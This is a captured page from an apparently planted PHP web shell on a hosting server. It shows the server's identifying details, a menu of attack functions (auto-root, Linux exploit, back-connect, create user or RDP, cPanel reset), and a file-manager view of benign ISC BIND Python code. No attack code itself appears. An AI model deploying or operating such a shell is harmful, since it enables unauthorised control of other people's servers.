Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.128.201.207
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
isc /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
936
B
-rw-r--r--
__init__.pyc
617
B
-rw-r--r--
__init__.pyo
617
B
-rw-r--r--
checkds.py
6.49
KB
-rw-r--r--
checkds.pyc
5.29
KB
-rw-r--r--
checkds.pyo
5.29
KB
-rw-r--r--
coverage.py
9.61
KB
-rw-r--r--
coverage.pyc
7.37
KB
-rw-r--r--
coverage.pyo
7.37
KB
-rw-r--r--
dnskey.py
15.9
KB
-rw-r--r--
dnskey.pyc
16.59
KB
-rw-r--r--
dnskey.pyo
16.59
KB
-rw-r--r--
eventlist.py
5.71
KB
-rw-r--r--
eventlist.pyc
4.83
KB
-rw-r--r--
eventlist.pyo
4.83
KB
-rw-r--r--
keydict.py
2.67
KB
-rw-r--r--
keydict.pyc
3.21
KB
-rw-r--r--
keydict.pyo
3.21
KB
-rw-r--r--
keyevent.py
2.76
KB
-rw-r--r--
keyevent.pyc
2.32
KB
-rw-r--r--
keyevent.pyo
2.32
KB
-rw-r--r--
keymgr.py
6.35
KB
-rw-r--r--
keymgr.pyc
4.91
KB
-rw-r--r--
keymgr.pyo
4.91
KB
-rw-r--r--
keyseries.py
7.34
KB
-rw-r--r--
keyseries.pyc
5
KB
-rw-r--r--
keyseries.pyo
5
KB
-rw-r--r--
keyzone.py
1.86
KB
-rw-r--r--
keyzone.pyc
1.54
KB
-rw-r--r--
keyzone.pyo
1.54
KB
-rw-r--r--
parsetab.py
9.98
KB
-rw-r--r--
parsetab.pyc
10.36
KB
-rw-r--r--
parsetab.pyo
10.36
KB
-rw-r--r--
policy.py
25.8
KB
-rw-r--r--
policy.pyc
22.62
KB
-rw-r--r--
policy.pyo
22.62
KB
-rw-r--r--
rndc.py
6.54
KB
-rw-r--r--
rndc.pyc
6.34
KB
-rw-r--r--
rndc.pyo
6.34
KB
-rw-r--r--
utils.py
2.17
KB
-rw-r--r--
utils.pyc
1.59
KB
-rw-r--r--
utils.pyo
1.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : eventlist.py
############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. ############################################################################ from collections import defaultdict from .dnskey import * from .keydict import * from .keyevent import * class eventlist: _K = defaultdict(lambda: defaultdict(list)) _Z = defaultdict(lambda: defaultdict(list)) _zones = set() _kdict = None def __init__(self, kdict): properties = ["SyncPublish", "Publish", "SyncDelete", "Activate", "Inactive", "Delete"] self._kdict = kdict for zone in kdict.zones(): self._zones.add(zone) for alg, keys in kdict[zone].items(): for k in keys.values(): for prop in properties: t = k.gettime(prop) if not t: continue e = keyevent(prop, k, t) if k.sep: self._K[zone][alg].append(e) else: self._Z[zone][alg].append(e) self._K[zone][alg] = sorted(self._K[zone][alg], key=lambda event: event.when) self._Z[zone][alg] = sorted(self._Z[zone][alg], key=lambda event: event.when) # scan events per zone, algorithm, and key type, in order of # occurrance, noting inconsistent states when found def coverage(self, zone, keytype, until, output = None): def noop(*args, **kwargs): pass if not output: output = noop no_zsk = True if (keytype and keytype == "KSK") else False no_ksk = True if (keytype and keytype == "ZSK") else False kok = zok = True found = False if zone and not zone in self._zones: output("ERROR: No key events found for %s" % zone) return False if zone: found = True if not no_ksk: kok = self.checkzone(zone, "KSK", until, output) if not no_zsk: zok = self.checkzone(zone, "ZSK", until, output) else: for z in self._zones: if not no_ksk and z in self._K.keys(): found = True kok = self.checkzone(z, "KSK", until, output) if not no_zsk and z in self._Z.keys(): found = True kok = self.checkzone(z, "ZSK", until, output) if not found: output("ERROR: No key events found") return False return (kok and zok) def checkzone(self, zone, keytype, until, output): allok = True if keytype == "KSK": kz = self._K[zone] else: kz = self._Z[zone] for alg in kz.keys(): output("Checking scheduled %s events for zone %s, " "algorithm %s..." % (keytype, zone, dnskey.algstr(alg))) ok = eventlist.checkset(kz[alg], keytype, until, output) if ok: output("No errors found") allok = allok and ok return allok @staticmethod def showset(eventset, output): if not eventset: return output(" " + eventset[0].showtime() + ":", skip=False) for event in eventset: output(" %s: %s" % (event.what, repr(event.key)), skip=False) @staticmethod def checkset(eventset, keytype, until, output): groups = list() group = list() # collect up all events that have the same time eventsfound = False for event in eventset: # we found an event eventsfound = True # add event to current group if (not group or group[0].when == event.when): group.append(event) # if we're at the end of the list, we're done. if # we've found an event with a later time, start a new group if (group[0].when != event.when): groups.append(group) group = list() group.append(event) if group: groups.append(group) if not eventsfound: output("ERROR: No %s events found" % keytype) return False active = published = None for group in groups: if (until and calendar.timegm(group[0].when) > until): output("Ignoring events after %s" % time.strftime("%a %b %d %H:%M:%S UTC %Y", time.gmtime(until))) return True for event in group: (active, published) = event.status(active, published) eventlist.showset(group, output) # and then check for inconsistencies: if not active: output("ERROR: No %s's are active after this event" % keytype) return False elif not published: output("ERROR: No %s's are published after this event" % keytype) return False elif not published.intersection(active): output("ERROR: No %s's are both active and published " "after this event" % keytype) return False return True
Close